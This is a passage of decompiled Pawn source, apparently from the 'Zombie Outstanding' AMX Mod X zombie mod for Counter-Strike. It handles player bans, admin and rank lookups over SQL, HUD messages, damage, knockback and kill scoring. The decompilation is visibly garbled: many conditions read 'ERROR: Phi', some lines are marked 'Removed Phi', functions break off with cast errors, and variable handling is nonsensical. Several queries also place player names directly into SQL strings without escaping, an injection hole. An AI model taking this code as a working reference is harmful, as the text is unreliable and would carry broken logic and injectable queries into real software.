  4374. num_to_str(iPlayer, cPlayer, 3);
  4375. if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
  4376. {
  4377. formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer][0][0]);
  4378. SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", "", "", 3);
  4379. g_fLastQuery = fCurrentTime;
  4380. }
  4381. else
  4382. {
  4383. set_task(g_fLastQuery + 2.00 - fCurrentTime, "_Task_BanCheck", iPlayer + 50, "", 0, "", 0);
  4384. g_fLastQuery = g_fLastQuery + 2.00;
  4385. }
  4386. if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
  4387. {
  4388. formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer][0][0], g_cName[iPlayer][0][0]);
  4389. SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", "", "", 3);
  4390. g_fLastQuery = fCurrentTime;
  4391. }
  4392. else
  4393. {
  4394. set_task(g_fLastQuery + 2.00 - fCurrentTime, "_Task_AdminCheck", iPlayer + 100, "", 0, "", 0);
  4395. g_fLastQuery = g_fLastQuery + 2.00;
  4396. }
  4397. if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
  4398. {
  4399. formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer][0][0]);
  4400. SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", "", "", 3);
  4401. g_fLastQuery = fCurrentTime;
  4402. }
  4403. else
  4404. {
  4405. set_task(g_fLastQuery + 2.00 - fCurrentTime, "_Task_RankCheck", iPlayer + 150, "", 0, "", 0);
  4406. g_fLastQuery = g_fLastQuery + 2.00;
  4407. }
  4408. set_task(300.00, "TaskUpdateTime", iPlayer + 400, "", 0, "b", 0);
  4409. set_task(1.00, "TaskHud", iPlayer + 300, "", 0, "b", 0);
  4410. set_task(12.00, "TaskCheckName", iPlayer, "", 0, "", 0);
  4411. set_task(12.00, "TaskShowMessage", iPlayer, "", 0, "", 0);
  4412. }
  4413. new var7 = ArraySize(g_aAmmoData);
  4414. iSize = var7;
  4415. if (var7)
  4416. {
  4417. static cSavedName[32];
  4418. static i;
  4419. i = iSize + -1;
  4420. while (i > -1)
  4421. {
  4422. ArrayGetString(g_aNameData, i, cSavedName, 32);
  4423. if (equali("", g_cName[iPlayer][0][0], 0))
  4424. {
  4425. g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
  4426. }
  4427. i += -1;
  4428. }
  4429. }
  4430. if (fCurrentTime > 30.00 && !g_bFake[iPlayer][0][0])
  4431. {
  4432. PrintToChat(0, "\1Player\3 %s\1 from\4 %s\1 has joined the game!", g_cName[iPlayer][0][0], g_cCountry[iPlayer][0][0]);
  4433. }
  4434. if (!g_iPacks[iPlayer][0][0] && !g_bFake[iPlayer][0][0])
  4435. {
  4436. g_iPacks[iPlayer] = 5;
  4437. }
  4438. g_bConnected[iPlayer] = 1;
  4439. return 0;
  4440. }
  4441.  
  4442. public ShowMsgGlow(iPlayer)
  4443. {
  4444. new var3 = g_bConnected;
  4445. new var1;
  4446. new var2;
  4447. if (!var3[iPlayer][0][0])
  4448. {
  4449. var1 = var3;
  4450. }
  4451. else
  4452. {
  4453. new var4 = g_bRanked;
  4454. if (!var4[iPlayer][0][0])
  4455. {
  4456. var1 = var4;
  4457. }
  4458. var2 = var4;
  4459. if (ERROR: Phi)
  4460. {
  4461. return 0;
  4462. }
  4463. static cPlayer[3];
  4464. num_to_str(iPlayer, cPlayer, 3);
  4465. formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
  4466. SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", "", "", 3);
  4467. return 0;
  4468. }
  4469. var2 = var1;
  4470. if (ERROR: Phi)
  4471. {
  4472. return 0;
  4473. }
  4474. static cPlayer[3];
  4475. num_to_str(iPlayer, cPlayer, 3);
  4476. formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
  4477. SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", "", "", 3);
  4478. return 0;
  4479. }
  4480.  
  4481. public TaskPreparePlayerChanged(i)
  4482. {
  4483. new var3 = g_bConnected;
  4484. new var1;
  4485. new var2;
  4486. if (var3[i][0][0])
  4487. {
  4488. new var4 = g_bRanked;
  4489. if (!var4[i][0][0])
  4490. {
  4491. var2 = var4;
  4492. if (ERROR: Phi)
  4493. {
  4494. static cPlayer[3];
  4495. num_to_str(i, cPlayer, 3);
  4496. formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[i][0][0]);
  4497. SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", "", "", 3);
  4498. }
  4499. return 0;
  4500. }
  4501. var1 = var4;
  4502. }
  4503. else
  4504. {
  4505. var1 = var3;
  4506. }
  4507. var2 = var1;
  4508. if (ERROR: Phi)
  4509. {
  4510. static cPlayer[3];
  4511. num_to_str(i, cPlayer, 3);
  4512. formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[i][0][0]);
  4513. SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", "", "", 3);
  4514. }
  4515. return 0;
  4516. }
  4517.  
  4518. public TaskShowMessage(iPlayer)
  4519. {
  4520. new var6 = g_bConnected;
  4521. new var1;
  4522. new var2;
  4523. if (var6[iPlayer][0][0])
  4524. {
  4525. new var7 = g_bRanked;
  4526. if (var7[iPlayer][0][0])
  4527. {
  4528. var2 = var7;
  4529. if (ERROR: Phi)
  4530. {
  4531. static Float:fCurrentTime;
  4532. fCurrentTime = get_gametime();
  4533. new var3;
  4534. if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
  4535. {
  4536. static cPlayer[3];
  4537. num_to_str(iPlayer, cPlayer, 3);
  4538. new var8 = g_iScore;
  4539. formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", var8[iPlayer]);
  4540. SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", "", "", 3);
  4541. g_fLastQuery = fCurrentTime;
  4542. var3 = var8;
  4543. }
  4544. else
  4545. {
  4546. new var9 = g_fLastQuery + 2.00;
  4547. set_task(var9 - fCurrentTime, "ShowMsgGlow", iPlayer, "", 0, "", 0);
  4548. g_fLastQuery = g_fLastQuery + 2.00;
  4549. var3 = var9;
  4550. }
  4551. }
  4552. else
  4553. {
  4554. new var10 = g_bRanked;
  4555. new var4;
  4556. new var5;
  4557. if (!var10[iPlayer][0][0])
  4558. {
  4559. new var11 = g_bConnected;
  4560. if (var11[iPlayer][0][0])
  4561. {
  4562. var5 = var11;
  4563. if (ERROR: Phi)
  4564. {
  4565. set_task(3.00, "TaskShowMessage", iPlayer, "", 0, "", 0);
  4566. }
  4567. }
  4568. var4 = var11;
  4569. }
  4570. else
  4571. {
  4572. var4 = var10;
  4573. }
  4574. var5 = var4;
  4575. if (ERROR: Phi)
  4576. {
  4577. set_task(3.00, "TaskShowMessage", iPlayer, "", 0, "", 0);
  4578. }
  4579. }
  4580. return 0;
  4581. }
  4582. var1 = var7;
  4583. }
  4584. else
  4585. {
  4586. var1 = var6;
  4587. }
  4588. var2 = var1;
  4589. if (ERROR: Phi)
  4590. {
  4591. static Float:fCurrentTime;
  4592. fCurrentTime = get_gametime();
  4593. new var3;
  4594. if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
  4595. {
  4596. static cPlayer[3];
  4597. num_to_str(iPlayer, cPlayer, 3);
  4598. new var8 = g_iScore;
  4599. formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", var8[iPlayer]);
  4600. SQL_ThreadQuery(g_hSQLTuple, "SQLPrintGlowRank", "", "", 3);
  4601. g_fLastQuery = fCurrentTime;
  4602. var3 = var8;
  4603. }
  4604. else
  4605. {
  4606. new var9 = g_fLastQuery + 2.00;
  4607. set_task(var9 - fCurrentTime, "ShowMsgGlow", iPlayer, "", 0, "", 0);
  4608. g_fLastQuery = g_fLastQuery + 2.00;
  4609. var3 = var9;
  4610. }
  4611. }
  4612. else
  4613. {
  4614. new var10 = g_bRanked;
  4615. new var4;
  4616. new var5;
  4617. if (!var10[iPlayer][0][0])
  4618. {
  4619. new var11 = g_bConnected;
  4620. if (var11[iPlayer][0][0])
  4621. {
  4622. var5 = var11;
  4623. if (ERROR: Phi)
  4624. {
  4625. set_task(3.00, "TaskShowMessage", iPlayer, "", 0, "", 0);
  4626. }
  4627. }
  4628. var4 = var11;
  4629. }
  4630. else
  4631. {
  4632. var4 = var10;
  4633. }
  4634. var5 = var4;
  4635. if (ERROR: Phi)
  4636. {
  4637. set_task(3.00, "TaskShowMessage", iPlayer, "", 0, "", 0);
  4638. }
  4639. }
  4640. return 0;
  4641. }
  4642.  
  4643. public _Task_BanCheck(iPlayer)
  4644. {
  4645. iPlayer += -50;
  4646. static cPlayer[3];
  4647. num_to_str(iPlayer, cPlayer, 3);
  4648. formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer][0][0]);
  4649. SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", "", "", 3);
  4650. return 0;
  4651. }
  4652.  
  4653. public _Task_AdminCheck(iPlayer)
  4654. {
  4655. iPlayer += -100;
  4656. static cPlayer[3];
  4657. num_to_str(iPlayer, cPlayer, 3);
  4658. formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer][0][0], g_cName[iPlayer][0][0]);
  4659. SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", "", "", 3);
  4660. return 0;
  4661. }
  4662.  
  4663. public _Task_RankCheck(iPlayer)
  4664. {
  4665. iPlayer += -150;
  4666. static cPlayer[3];
  4667. num_to_str(iPlayer, cPlayer, 3);
  4668. formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer][0][0]);
  4669. SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", "", "", 3);
  4670. return 0;
  4671. }
  4672.  
  4673. public SQLPrintGlowRank(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  4674. {
  4675. !!! Removed Phi
  4676. static i;
  4677. static cHostname[37];
  4678. static cBuffer[513];
  4679. static iPlayer;
  4680. get_cvar_string("hostname", cHostname, 36);
  4681. i = 0;
  4682. while (strlen(cHostname) > i)
  4683. {
  4684. if (cHostname[i][0][0] == 32 && i > 10)
  4685. {
  4686. cHostname[i] = 0;
  4687. iPlayer = str_to_num(cData);
  4688. new var2;
  4689. if (g_iDeaths[iPlayer][0][0])
  4690. {
  4691. var2 = float(g_iKills[iPlayer][0][0]) / float(g_iDeaths[iPlayer][0][0]);
  4692. }
  4693. else
  4694. {
  4695. var2 = float(g_iKills[iPlayer][0][0]);
  4696. }
  4697. formatex(cBuffer, 512, "Welcome, %s\nRank: %d/%d Score: %d\nKills: %d Deaths: %d KPD: %0.2f\nOnline: %s\nWe hope you enjoy!", g_cName[iPlayer][0][0], SQL_NumResults(hQuery), g_iRanksCount, g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], var2, g_cOnlineTime[iPlayer][0][0]);
  4698. show_glow_message(iPlayer, cBuffer, 40960, 0.02, 0.21, 10.00);
  4699. formatex(cBuffer, 512, "%s\nDon't forget to add us to your favourites!", cHostname);
  4700. show_glow_message(iPlayer, cBuffer, 6904269, 0.02, 0.50, 10.00);
  4701. return 0;
  4702. }
  4703. i += 1;
  4704. }
  4705. iPlayer = str_to_num(cData);
  4706. new var2;
  4707. if (g_iDeaths[iPlayer][0][0])
  4708. {
  4709. var2 = float(g_iKills[iPlayer][0][0]) / float(g_iDeaths[iPlayer][0][0]);
  4710. }
  4711. else
  4712. {
  4713. var2 = float(g_iKills[iPlayer][0][0]);
  4714. }
  4715. formatex(cBuffer, 512, "Welcome, %s\nRank: %d/%d Score: %d\nKills: %d Deaths: %d KPD: %0.2f\nOnline: %s\nWe hope you enjoy!", g_cName[iPlayer][0][0], SQL_NumResults(hQuery), g_iRanksCount, g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], var2, g_cOnlineTime[iPlayer][0][0]);
  4716. show_glow_message(iPlayer, cBuffer, 40960, 0.02, 0.21, 10.00);
  4717. formatex(cBuffer, 512, "%s\nDon't forget to add us to your favourites!", cHostname);
  4718. show_glow_message(iPlayer, cBuffer, 6904269, 0.02, 0.50, 10.00);
  4719. return 0;
  4720. }
  4721.  
  4722. show_glow_message(iPlayer, String:cMessage[], iColor, Float:fX, Float:fY, Float:fDuration)
  4723. {
  4724. message_begin(MSG_ONE_UNRELIABLE, SVC_DIRECTOR, 280480, iPlayer);
  4725. write_byte(strlen(cMessage) + 31);
  4726. write_byte(6);
  4727. write_byte(2);
  4728. write_long(iColor);
  4729. write_long(fX);
  4730. write_long(fY);
  4731. write_long(0.10/*1036831949*/);
  4732. write_long(1.50/*1069547520*/);
  4733. write_long(fDuration);
  4734. write_long(6.00/*1086324736*/);
  4735. write_string(cMessage);
  4736. message_end();
  4737. return 0;
  4738. }
  4739.  
  4740. public TaskDeleteBans()
  4741. {
  4742. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", "", 0);
  4743. return 0;
  4744. }
  4745.  
  4746. public TaskDeleteRanks()
  4747. {
  4748. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", "", 0);
  4749. return 0;
  4750. }
  4751.  
  4752. public TaskUnban()
  4753. {
  4754. !!! Removed Phi
  4755. static Float:fCurrentTime;
  4756. fCurrentTime = get_gametime();
  4757. if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
  4758. {
  4759. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM r WHERE t<(unix_timestamp(now())-2419200)", "", 0);
  4760. g_fLastQuery = fCurrentTime;
  4761. }
  4762. else
  4763. {
  4764. set_task(g_fLastQuery + 2.00 - fCurrentTime, "TaskDeleteRanks", 0, "", 0, "", 0);
  4765. g_fLastQuery = g_fLastQuery + 2.00;
  4766. }
  4767. if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
  4768. {
  4769. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "DELETE FROM b WHERE u>0 AND u<unix_timestamp(now())", "", 0);
  4770. g_fLastQuery = fCurrentTime;
  4771. }
  4772. else
  4773. {
  4774. set_task(g_fLastQuery + 2.00 - fCurrentTime, "TaskDeleteBans", 0, "", 0, "", 0);
  4775. g_fLastQuery = g_fLastQuery + 2.00;
  4776. }
  4777. return 0;
  4778. }
  4779.  
  4780. public OnPassword(iPlayer, String:cPassword[])
  4781. {
  4782. formatex(g_cPasswords[iPlayer][0][0], 31, "%s", cPassword);
  4783. return 0;
  4784. }
  4785.  
  4786. public OnNameChanged(iPlayer, String:cName[])
  4787. {
  4788. !!! Removed Phi
  4789. if (!g_bRanked[iPlayer][0][0] || fCurrentTime - g_fLastNameChanged[iPlayer][0][0] < 4.00/*1082130432*/)
  4790. {
  4791. server_cmd("kick #%d Stop changing your name so fast!", get_user_userid(iPlayer));
  4792. }
  4793. else
  4794. {
  4795. if (g_bRanked[iPlayer][0][0])
  4796. {
  4797. g_bRanked[iPlayer] = 0;
  4798. formatex(g_cName[iPlayer][0][0], 32, "%s", cName);
  4799. static cPlayer[3];
  4800. num_to_str(iPlayer, cPlayer, 3);
  4801. formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer][0][0]);
  4802. if (fCurrentTime - g_fLastQuery >= 2.00/*1073741824*/)
  4803. {
  4804. SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", "", "", 3);
  4805. g_fLastNameChanged[iPlayer] = fCurrentTime;
  4806. g_fLastQuery = fCurrentTime;
  4807. }
  4808. set_task(g_fLastQuery + 2.00 - fCurrentTime, "TaskPreparePlayerChanged", iPlayer, "", 0, "", 0);
  4809. g_fLastQuery = g_fLastQuery + 2.00;
  4810. g_fLastNameChanged[iPlayer] = fCurrentTime;
  4811. g_bRanked[iPlayer] = 0;
  4812. }
  4813. }
  4814. set_task(5.00, "TaskCheckName", iPlayer, "", 0, "", 0);
  4815. return 0;
  4816. }
  4817.  
  4818. public TaskCheckName(iPlayer)
  4819. {
  4820. if (g_bConnected[iPlayer][0][0])
  4821. {
  4822. if (g_bRanked[iPlayer][0][0])
  4823. {
  4824. check_for_swear(iPlayer);
  4825. }
  4826. set_task(5.00, "TaskCheckName", iPlayer, "", 0, "", 0);
  4827. }
  4828.  
  4829. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  4830. function "TaskCheckName"
  4831. public TaskCheckName(iPlayer)
  4832.  
  4833. public CmdMap(iPlayer)
  4834. {
  4835. !!! Removed Phi
  4836. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 55))
  4837. {
  4838. static cMap[32];
  4839. read_argv(1, cMap, 32);
  4840. if (is_map_valid(""))
  4841. {
  4842. set_cvar_num("mp_timelimit", 4096);
  4843. set_cvar_string("nextmap", cMap);
  4844. set_task(1.00, "TimerChangeMap", 0, "", 0, "", 0);
  4845. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\3 %s\1 changed map to\4 %s", g_cName[iPlayer][0][0], cMap);
  4846. }
  4847. console_print(iPlayer, "[Zombie Outstanding] Map %s is not valid!", cMap);
  4848. }
  4849. return 0;
  4850. }
  4851.  
  4852. public OnTraceAttack(iVictim, iAttacker, Float:fDamage, Float:fDirection[3], iTrace, iDamageType)
  4853. {
  4854. !!! Removed Phi
  4855. if (iAttacker != iVictim && !var4 < g_iMaxClients + 1 & 0 < var4)
  4856. {
  4857. return 1;
  4858. }
  4859. if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim][0][0] != g_bZombie[iAttacker][0][0])
  4860. {
  4861. return 4;
  4862. }
  4863. if (!g_bZombie[iVictim][0][0] || g_bNoDamage[iVictim][0][0] || g_iPlayerType[iVictim][0][0] & 2 || !iDamageType & 2 || range1(iVictim, iAttacker) > 500)
  4864. {
  4865. return 1;
  4866. }
  4867. static Float:fVelocity[3];
  4868. get_velocity(iVictim, fVelocity);
  4869. xs_vec_mul_scalar(fDirection, fDamage, fDirection);
  4870. xs_vec_mul_scalar(fDirection, 8.75, fDirection);
  4871. if (get_ent_flags(iVictim) & 16896 == 16896)
  4872. {
  4873. xs_vec_mul_scalar(fDirection, 0.25, fDirection);
  4874. }
  4875. if (g_iPlayerType[iVictim][0][0] & 1)
  4876. {
  4877. xs_vec_mul_scalar(fDirection, 0.15, fDirection);
  4878. }
  4879. else
  4880. {
  4881. xs_vec_mul_scalar(fDirection, g_fZombieKnockbacks[g_iZombieClass[iVictim][0][0]][0][0], fDirection);
  4882. }
  4883. xs_vec_add(fVelocity, fDirection, fDirection);
  4884. fDirection[2] = fVelocity[2][0];
  4885. set_velocity(iVictim, fDirection);
  4886. return 1;
  4887. }
  4888.  
  4889. public OnTouch(iWeapon, iPlayer)
  4890. {
  4891. new var4 = iPlayer;
  4892. new var5 = 0 < var4;
  4893. new var1;
  4894. new var2;
  4895. if (g_iMaxClients + 1 > var4 & var5)
  4896. {
  4897. new var6 = g_bZombie;
  4898. if (var6[iPlayer][0][0])
  4899. {
  4900. var2 = var6;
  4901. new var3;
  4902. if (ERROR: Phi)
  4903. {
  4904. var3 = 4;
  4905. }
  4906. else
  4907. {
  4908. var3 = 1;
  4909. }
  4910.  
  4911. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  4912. function "OnTouch"
  4913. public OnTouch(iWeapon, iPlayer)
  4914.  
  4915. public OnTakeDamage(iVictim, iInflictor, iAttacker, Float:fDamage, iDamageType)
  4916. {
  4917. !!! Removed Phi
  4918. if (iAttacker != iVictim && !var5 < g_iMaxClients + 1 & 0 < var5)
  4919. {
  4920. return 1;
  4921. }
  4922. if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim][0][0] != g_bZombie[iAttacker][0][0] || g_bNoDamage[iVictim][0][0])
  4923. {
  4924. return 4;
  4925. }
  4926. if (!g_bZombie[iAttacker][0][0])
  4927. {
  4928. if (g_iPlayerType[iAttacker][0][0] & 8 && g_iWeapon[iAttacker][0][0] == 18)
  4929. {
  4930. fDamage = 3000.00/*1161527296*/;
  4931. SetHamParamFloat(4, fDamage);
  4932. }
  4933. else
  4934. {
  4935. if (!g_iPlayerType[iVictim][0][0])
  4936. {
  4937. fDamage *= 0.75;
  4938. SetHamParamFloat(4, fDamage);
  4939. }
  4940. if (g_bDoubleDamage[iAttacker][0][0])
  4941. {
  4942. fDamage *= 2.00;
  4943. SetHamParamFloat(4, fDamage);
  4944. }
  4945. new var6 = g_fDamage[iAttacker];
  4946. var6 = var6[0][0] + fDamage;
  4947. while (g_fDamage[iAttacker][0][0] > 500.00)
  4948. {
  4949. g_iPacks[iAttacker]++;
  4950. new var7 = g_fDamage[iAttacker];
  4951. var7 = var7[0][0] - 500.00;
  4952. }
  4953. new var8 = g_iPosition[iAttacker];
  4954. var8++;
  4955. if (var8[0][0] == 8)
  4956. {
  4957. g_iPosition[iAttacker] = 0;
  4958. }
  4959. set_hudmessage(0, 40, 80, g_fDamageCoords[g_iPosition[iAttacker][0][0]][0][0][0], g_fDamageCoords[g_iPosition[iAttacker][0][0]][0][0][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
  4960. show_hudmessage(iAttacker, "%0.0f", fDamage);
  4961. }
  4962. return 1;
  4963. }
  4964. if (iDamageType & 16777216)
  4965. {
  4966. return 4;
  4967. }
  4968. if (g_iPlayerType[iAttacker][0][0] & 1 || g_iPlayerType[iAttacker][0][0] & 2 || g_iRoundType & 4 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1)
  4969. {
  4970. if (g_iPlayerType[iAttacker][0][0])
  4971. {
  4972. SetHamParamFloat(4, 250.00);
  4973. }
  4974. return 1;
  4975. }
  4976. static iDamage;
  4977. static iArmor;
  4978. iArmor = get_armor(iVictim);
  4979. iDamage = floatround(fDamage, floatround_round);
  4980. if (0 < iArmor)
  4981. {
  4982. if (0 < iArmor - iDamage)
  4983. {
  4984. set_armor(iVictim, iArmor - iDamage);
  4985. }
  4986. else
  4987. {
  4988. reset_armor(iVictim);
  4989. }
  4990. sound(iVictim, 4, "ZombieOutstanding/armor_hit.wav");
  4991. return 4;
  4992. }
  4993. MakeZombie(iAttacker, iVictim, false, false, false);
  4994. return 4;
  4995. }
  4996.  
  4997. public OnPlayerJump(iPlayer)
  4998. {
  4999. !!! Removed Phi
  5000. if (g_bAlive[iPlayer][0][0])
  5001. {
  5002. if (g_bZombie[iPlayer][0][0] && !g_iPlayerType[iPlayer][0][0] && g_iZombieClass[iPlayer][0][0] == 3)
  5003. {
  5004. if (!iFlags & 512 && !get_oldbuttons(iPlayer) & 2 && !g_iJumps[iPlayer][0][0])
  5005. {
  5006. static Float:fVelocity[3];
  5007. get_velocity(iPlayer, fVelocity);
  5008. fVelocity[2] = random_float(265.00, 285.00);
  5009. set_velocity(iPlayer, fVelocity);
  5010. g_iJumps[iPlayer]++;
  5011. }
  5012. if (iFlags & 512)
  5013. {
  5014. g_iJumps[iPlayer] = 0;
  5015. }
  5016. }
  5017. if (!g_bZombie[iPlayer][0][0] && g_iMaxJumps[iPlayer][0][0])
  5018. {
  5019. if (!iFlags & 512 && !get_oldbuttons(iPlayer) & 2 && g_iJumps[iPlayer][0][0] <= g_iMaxJumps[iPlayer][0][0] - 1)
  5020. {
  5021. static Float:fVelocity[3];
  5022. get_velocity(iPlayer, fVelocity);
  5023. fVelocity[2] = random_float(265.00, 285.00);
  5024. set_velocity(iPlayer, fVelocity);
  5025. g_iJumps[iPlayer]++;
  5026. }
  5027. if (iFlags & 512)
  5028. {
  5029. g_iJumps[iPlayer] = 0;
  5030. }
  5031. }
  5032. }
  5033. return 0;
  5034. }
  5035.  
  5036. public OnPrimaryAttack(iEntity)
  5037. {
  5038. static iOwner;
  5039. iOwner = pev(iEntity, pev_globalname);
  5040. new var3 = g_bZombie;
  5041. new var1;
  5042. new var2;
  5043. if (var3[iOwner][0][0])
  5044. {
  5045. new var4 = g_iBlinks;
  5046. if (var4[iOwner][0][0])
  5047. {
  5048. var2 = var4;
  5049. if (ERROR: Phi)
  5050. {
  5051. static iTarget;
  5052. iTarget = get_target_and_attack(iOwner);
  5053. if (iTarget)
  5054. {
  5055. g_iBlinks[iOwner]--;
  5056. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 just used a\4 Knife Blink\1 [\4 %d remaining\1 ]", g_cName[iOwner][0][0], g_iBlinks[iOwner]);
  5057. }
  5058. }
  5059. return 0;
  5060. }
  5061. var1 = var4;
  5062. }
  5063. else
  5064. {
  5065. var1 = var3;
  5066. }
  5067. var2 = var1;
  5068. if (ERROR: Phi)
  5069. {
  5070. static iTarget;
  5071. iTarget = get_target_and_attack(iOwner);
  5072. if (iTarget)
  5073. {
  5074. g_iBlinks[iOwner]--;
  5075. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 just used a\4 Knife Blink\1 [\4 %d remaining\1 ]", g_cName[iOwner][0][0], g_iBlinks[iOwner]);
  5076. }
  5077. }
  5078. return 0;
  5079. }
  5080.  
  5081. public OnKilled(iVictim, iAttacker, iGibs)
  5082. {
  5083. !!! Removed Phi
  5084. if (iAttacker != iVictim && !var4 < g_iMaxClients + 1 & 0 < var4)
  5085. {
  5086. if (g_bZombie[iVictim][0][0])
  5087. {
  5088. remove_task(iVictim + 200, 0);
  5089. }
  5090. return 0;
  5091. }
  5092. if (!g_bZombie[iAttacker][0][0])
  5093. {
  5094. if (g_iPlayerType[iAttacker][0][0] & 8)
  5095. {
  5096. send_lava_splash(iVictim);
  5097. if (random_num(1, 4) == 1)
  5098. {
  5099. new var5 = g_iPoints[iAttacker];
  5100. var5 = var5[0][0] + 1;
  5101. set_hudmessage(255, 180, 30, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
  5102. ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== SNIPER ==\n!!!Randomly got +1 point!!!\n[25% chance per zombie]");
  5103. }
  5104. }
  5105. else
  5106. {
  5107. g_iPacks[iAttacker]++;
  5108. new var6 = g_iPoints[iAttacker];
  5109. new var2;
  5110. if (g_iPlayerType[iAttacker][0][0])
  5111. {
  5112. var2 = 1;
  5113. }
  5114. else
  5115. {
  5116. var2 = 2;
  5117. }
  5118. var6 = var2 + var6[0][0];
  5119. new var7 = g_iScore[iAttacker];
  5120. var7 = var7[0][0] + 25;
  5121. new var8 = g_iScore[iVictim];
  5122. var8 = var8[0][0] - 16;
  5123. remove_task(iVictim + 200, 0);
  5124. }
  5125. if (g_iPlayerType[iAttacker][0][0])
  5126. {
  5127. SetHamParamInteger(3, 2);
  5128. }
  5129. }
  5130. else
  5131. {
  5132. new var9 = g_iPacks[iAttacker];
  5133. var9 = var9[0][0] + 2;
  5134. if (!g_iPlayerType[iAttacker][0][0])
  5135. {
  5136. g_iPoints[iAttacker]++;
  5137. }
  5138. if (g_iZombieClass[iAttacker][0][0] == 6 && !g_iPlayerType[iAttacker][0][0])
  5139. {
  5140. SetHamParamInteger(3, 2);
  5141. send_screen_fade(iAttacker);
  5142. }
  5143. if (g_iPlayerType[iAttacker][0][0])
  5144. {
  5145. SetHamParamInteger(3, 2);
  5146. }
  5147. }
  5148. g_iKills[iAttacker]++;
  5149. g_iDeaths[iVictim]++;
  5150. g_iKillsThisRound[iAttacker]++;
  5151. SaveRank(iAttacker);
  5152. SaveRank(iVictim);
  5153. return 0;
  5154. }
  5155.  
  5156. public OnGrenadeThink(iEntity)
  5157. {
  5158. if (get_dmgtime(iEntity) > get_gametime())
  5159. {
  5160. return 1;
  5161. }
  5162. switch (pev(iEntity, pev_targetname))
  5163. {
  5164. case 1:
  5165. {
  5166. Infection_Explode(iEntity);
  5167. return 4;
  5168. }
  5169. case 2:
  5170. {
  5171. Fire_Explode(iEntity);
  5172. return 4;
  5173. }
  5174. case 3:
  5175. {
  5176. Freeze_Explode(iEntity);
  5177. return 4;
  5178. }
  5179. case 4:
  5180. {
  5181. Explosion_Explode(iEntity);
  5182. return 4;
  5183. }
  5184. case 5:
  5185. {
  5186. Killing_Explode(iEntity);
  5187. return 4;
  5188. }
  5189. default:
  5190. {
  5191. return 1;
  5192. }
  5193. }
  5194. }
  5195.  
  5196. public OnPlayerDuck(iPlayer)
  5197. {
  5198. !!! Removed Phi
  5199. if (!g_bFrozen[iPlayer][0][0] && g_bZombie[iPlayer][0][0] && !g_iPlayerType[iPlayer][0][0] & 2)
  5200. {
  5201. static Float:fCurrentTime;
  5202. static Float:fCoolDown;
  5203. if (g_iPlayerType[iPlayer][0][0])
  5204. {
  5205. fCoolDown = 1.00/*1065353216*/;
  5206. }
  5207. else
  5208. {
  5209. fCoolDown = 13.00/*1095761920*/;
  5210. }
